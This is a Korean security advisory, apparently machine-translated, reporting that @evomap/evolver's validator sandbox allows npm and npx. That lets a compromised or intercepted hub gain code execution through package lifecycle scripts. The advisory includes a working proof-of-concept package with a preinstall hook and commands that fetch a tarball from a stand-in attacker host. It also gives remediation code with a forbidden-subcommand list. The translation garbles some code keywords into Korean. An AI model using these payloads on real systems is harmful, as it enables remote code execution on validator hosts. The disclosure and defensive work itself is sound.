@evomap/evolver의 유효성 검사기 샌드박스 허용 목록은 `npm`/`npx`을 허용하여 수명 주기 스크립트를 통해 허브에서 제공하는 유효성 검사 작업에서 RCE를 생성합니다.
유효성 검사기 모드 샌드박스 실행기(src/gep/validator/sandboxExecutor.js)는 하드 실행 가능 허용 목록에 npm과 npx를 배치합니다. npm install <pkg> 및 npx -y -p <pkg> <bin>은 의도적으로 임의의 코드(사전 설치/설치/사후 설치 수명 주기 스크립트 및 원격 패키지 bin 항목)를 실행하고 유효성 검사기 노드가 응답별 서명 확인 없이 서명되지 않은 Hub 응답의 validation_commands 문자열을 사용하기 때문에 허브를 제어하거나 MITM하는 공격자는 하나의 데몬 폴 내에서 모든 유효성 검사기 노드에서 자동 원격 코드 실행을 달성합니다(기본값). 60년대).
엔드투엔드 체인:
src/gep/validator/index.js:71-87 — fetchValidationTasks()는 <hub>/a2a/fetch에 게시되고 JSON 응답에서 validation_tasks를 읽습니다. 아웃바운드 요청은 buildHubHeaders()를 통해 서명되지만 허브의 응답은 await res.json()을 통해 직접 구문 분석되며 data.payload에서 서명이 확인되지 않습니다.
src/gep/validator/index.js:98-108 — validateOneTask()는 task.validation_commands(공격자가 제어하는 문자열 배열)를 추출하여 runInSandbox(commands, {})에 바로 전달합니다. 이 경로에서는 policyCheck.isValidationCommandAllowed()에 대한 호출이 발생하지 않습니다. sandboxExecutor.js:41-42에 있는 작성자 자신의 의견은 이러한 격차를 인정합니다. "이렇게 하면 유효성 검사 명령이 PolicyCheck.isValidationCommandAllowed()를 통과하지 않고 Hub에서 runInSandbox로 바로 이동하는 격차가 줄어듭니다."
src/gep/validator/sandboxExecutor.js:172-218 — runSingleCommand가 parseCommand(cmd)를 호출한 다음 ALLOWED_EXECUTABLES.has(parsed.executable)을 확인합니다.
``js // sandboxExecutor.js:35 const ALLOWED_EXECUTABLES = new Set(['node', 'npm', 'npx']);
`parseCommand`는 셸 메타 문자(`| & ; > < \` $`)와 불균형 따옴표만 거부합니다. `npm install /tmp/evil-pkg --no-audit --no-fund`와 같은 문자열에는 해당 항목이 포함되어 있지 않으며 `{ 실행 파일: 'npm', args: [...] }`로 깔끔하게 구문 분석됩니다.
sandboxExecutor.js:54-66 — assertNodeCommandSafe는 node가 아닌 실행 파일에 대해 작동하지 않습니다.
``js 함수 AssertNodeCommandSafe(구문 분석) { if (parsed.executable !== '노드') return; // npm/npx 모든 검사를 건너뜁니다. ... }
따라서 `BLOCKED_NODE_FLAGS` 세트(`-e`, `-r`, `--loader` 등)는 `npm` 또는 `npx` 호출을 제어하지 않습니다.
sandboxExecutor.js:213 — spawn('npm', [...], { shell: false, cwd: sandboxDir, env })는 npm을 실행합니다. npm의 문서화된 동작은 패키지의 preinstall, install 및 postinstall 스크립트를 실행하는 것입니다. npx는 원격 패키지를 다운로드하고 bin 항목을 실행합니다. 둘 다 유효성 검사기 프로세스의 UID/권한에서 임의 코드 실행을 생성합니다.
src/gep/validator/index.js:189 — 유효성 검사기 데몬은 기본적으로 60초마다 폴링하며(EVOLVER_VALIDATOR_DAEMON_INTERVAL_MS), 유효성 검사기 모드는 v1.69.0부터 기본적으로 켜져 있습니다(isValidatorEnabled()는 명시적으로 비활성화하지 않는 한 true를 반환합니다, index.js:25-34).
"샌드박스"는 명목상입니다. 새로운 cwd와 제거된 환경(~/.npmrc/~/.ssh를 숨기기 위한 HOME → tmpdir)을 설정하지만 PATH는 보존되고(따라서 npm/npx 해결), 컨테이너/chroot/seccomp/uid 삭제가 없으며 생성된 프로세스가 임의의 파일을 쓰거나, 아웃바운드 연결을 열거나, 유효성 검사기 프로세스에서 읽을 수 있는 모든 파일을 읽는 것을 방해하는 것은 없습니다.
sandboxExecutor.js:31-34에 작성자가 문서화한 위협 모델에는 허브 손상이 명시적으로 포함되어 있습니다.
"이 세트에 첫 번째 토큰이 없는 모든 명령은 generate() 전에 거부됩니다. 이렇게 하면 Hub 자체가 손상되거나 작업에 잘못 서명된 경우에도 Hub에서 전달한 task.command 문자열을 통한 명령 주입을 방지할 수 있습니다."
해당 허용 목록에 npm과 npx를 추가하면 명시된 목표가 무산됩니다. 둘 다 설계에 따른 임의 코드 실행 도구입니다.
v1.70.0-beta.4(main의 HEAD)에 대해 재현됨:
1단계 - 악성 패키지를 로컬에 설치합니다(remote-tarball 변형은 동일하게 작동합니다. 두 경우 모두 npm이 수명 주기 스크립트를 가져와 실행합니다).
``배쉬 mkdir -p /tmp/evil-pkg-validator 고양이 > /tmp/evil-pkg-validator/package.json <<'EOF' { "이름":"evil-pkg-validator","버전":"1.0.0", "스크립트":{ "사전 설치":"node -e "require('fs').writeFileSync('/tmp/pwned-by-validator-test','RCE uid='+process.getuid()+' time='+Date.now())"" } } EOF
2단계 — 허브가 `validation_commands: ["npm install /tmp/evil-pkg-validator --no-audit --no-fund"]`를 사용하여 작업을 반환할 때 `validateOneTask()`에서 사용되는 정확한 코드 경로를 호출합니다.
``배쉬
rm -f /tmp/pwned-by-validator-test
노드 -e "
const s = require('./src/gep/validator/sandboxExecutor');
s.runIn샌드박스(
['npm install /tmp/evil-pkg-validator --no-audit --no-fund'],
{ cmdTimeoutMs: 60000 }
).then(o => {
console.log('overallOk:', o.overallOk, 'exitCode:', o.results[0].exitCode);
console.log('PWNED:', require('fs').readFileSync('/tmp/pwned-by-validator-test','utf8'));
});"
관찰된 출력(검증됨):
전체 확인: true 종료 코드: 0
PWNED: RCE uid=0 시간=1777213140205
샌드박스는 overallOk: true(npm에서 깨끗한 종료 0을 확인함)를 보고하는 반면 사전 설치 스크립트는 이미 샌드박스 디렉토리 외부에 /tmp/pwned-by-validator-test를 작성했습니다. 포함되지 않은 코드 실행은 유효성 검사기 UID입니다.
원격 전용 변형(로컬 파일 필요 없음): 손상되었거나 MITM이 적용된 허브는 다음을 반환합니다.
``json { "validation_commands": ["npm 설치 https://attacker.example/evil.tgz --no-audit --no-fund"] }
또는
``json
{ "validation_commands": ["npx -y -p evil-pkg@1.0.0 evil-cmd"] }
둘 다 parseCommand()(셸 메타 문자 없음)를 전달하고 ALLOWED_EXECUTABLES.has('npm'|'npx')를 전달하며 assertNodeCommandSafe는 작동하지 않습니다. npm/npx는 원격 tarball을 가져오고 유효성 검사기 호스트에서 해당 lifecycle/bin 스크립트를 실행합니다.
ALLOWED_EXECUTABLES에서 npm 및 npx를 제거합니다. 검증 작업에는 node <script>만 필요합니다.
``js // src/gep/validator/sandboxExecutor.js const ALLOWED_EXECUTABLES = new Set(['노드']);
`npm test` / `npx vitest` 스타일 명령을 허브 경로에서 계속 연결할 수 있어야 하는 경우 해당 명령을 명시적으로 강화하세요.
``js
함수 주장NpmCommandSafe(구문 분석) {
if (parsed.executable !== 'npm' && parsed.executable !== 'npx') return;
// 라이프사이클 스크립트를 가져오거나 실행하는 install/exec/run-script를 차단합니다.
const sub = parsed.args.find((a) => !a.startsWith('-'));
const FORBIDDEN = new Set(['install', 'i', 'add', 'ci', 'exec', 'x', 'run', 'run-script', 'rebuild', 'pack', 'publish']);
if (FORBIDDEN.has(sub)) {
throw new Error('npm/npx 하위 명령은 샌드박스에서 허용되지 않습니다: ' + sub);
}
// 심층 방어를 위해 모든 npm 호출에 --ignore-scripts를 요구합니다.
if (parsed.executable === 'npm' && !parsed.args.includes('--ignore-scripts')) {
throw new Error('샌드박스의 npm에는 --ignore-scripts'가 필요합니다.);
}
// npx는 항상 가져오기+실행을 수행합니다 — 완전히 허용하지 않습니다.
if (parsed.executable === 'npx') {
throw new Error('npx는 샌드박스에서 허용되지 않습니다.');
}
}
추가로:
/a2a/fetch 응답에 서명 아웃바운드 요청에 서명하는 것과 동일한 방식(buildHubHeaders). runInSandbox에 작업을 전달하기 전에 fetchValidationTasks에서 data.payload의 서명을 확인하세요. 이는 허브 손상이 필요하지 않은 네트워크-MITM 변종을 닫습니다.runInSandbox를 실행하세요(권한 삭제, 네트워크 비활성화, tmpfs 마운트, seccomp 적용). 현재 buildSandboxEnv는 HOME/TMPDIR만 리디렉션합니다. 그렇지 않으면 생성된 프로세스가 전체 호스트 액세스 권한을 갖습니다.validateOneTask의 허브 제공 validation_commands**에 policyCheck.isValidationCommandAllowed()를 적용하여 solidify.js / skill2gep.js의 캡슐 파생 명령에 대해 이미 존재하는 게이트를 미러링합니다.왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 81.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 81.00 |
VPI 공식 vpi-v1 기준